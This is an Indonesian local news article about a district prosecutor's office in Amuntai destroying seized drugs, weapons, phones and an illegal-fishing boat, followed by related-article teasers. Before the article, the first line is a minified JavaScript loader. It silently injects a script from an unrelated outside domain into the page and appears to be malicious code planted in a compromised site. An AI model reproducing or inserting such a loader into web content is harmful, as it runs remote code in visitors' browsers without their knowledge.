(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Kejaksaan Negeri Hulu Sungai Utara (HSU) menggelar pemusnahan barang bukti, seperti narkotika jenis sabu, obat-obatan terlarang Carnophen (Zenith), Dextro, senjata tajam dan jukung (Perahu) di halaman Kantor Kejaksaan. Kegiatan disaksikan oleh perwakilan pejabat, pelajar dan masyarakat.
Adapun barang bukti yang dimusnahkan diantaranya adalah 48.530 Butir Zenith/ Carnophen, Dextro sebanyak 6.025 butir, Sabu-sabu 78,01 gram, obat jamu /tanpa ijin edar berbagai merk 38buah, senjata tajam berbagai jenis 24 buah, HP sebanyak 26 buah dan 1 jukung (perahu).
Kajari HSU Herlina Setyorini, saat wawancara kepada kanalkalimantan.com mengatakan, pemusnahan barang bukti ini merupakan tindak lanjut kewenangan kejaksaan RI berdasarkan undang-undang No.16 tahun 2004 pasal 33 yang mana berisi tentang tugas Kejaksaan sebagai penuntut umum hukum, namun juga mempunyai tugas kewenangan terhadap pemusnahan barang bukti yang perkaranya sudah diputuskan oleh pengadilan.
“Berdasarkan hasil sitaan barang bukti tersebut, Kejaksaan Negeri berkewajiban sesegera mungkin melakukan eksekusi pemusnahan barang bukti, apabila dikhawatirkan barang bukti tersebut disalahgunakan oleh oknum petugas,” ujarnya
Herlina menegaskan bahwa proses pemusnahan barang bukti yang dilaksanakan ini, adalah semua hasil akhir dari semua perkara yang telah diselesaikan serta sudah memperoleh hukum tetap dari tahun 2016 sampai dengan 2017, meski sebagian lagi barang bukti sitaan telah dimusnahkan oleh pihak kepolisian.
Sementara itu, satu buah jukung merupakan barang bukti tindak pidana umum mengenai ilegal fishing yang sudah melalui proses akhir juga dipengadilan, namun untuk barang sejenis mengenai tindak pidana ilegal fishing lainnya masih dalam proses pengadilan.” Lanjut Herlina
Diakhir acara pemusnahan barang bukti juga dilakukan penandatanganan berita acara pemusnahan barang bukti yang ditandatangani langsung oleh Kejari HSU, juga ditandatangani oleh Sekda HSU dan Wakapolres HSU
Hadir dalam acara pemusnahan tersebut Setda HSU Suyadi, PLT Dinas Kesehatan Kabupaten HSU Agus Fidliansyah, Wakapolres HSU Kompol Handoyono Yudhi, serta Perwakilan Pengadilan Negeri, Lapas Amuntai dan Kodim 1001 AMT/Blgn. ***
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.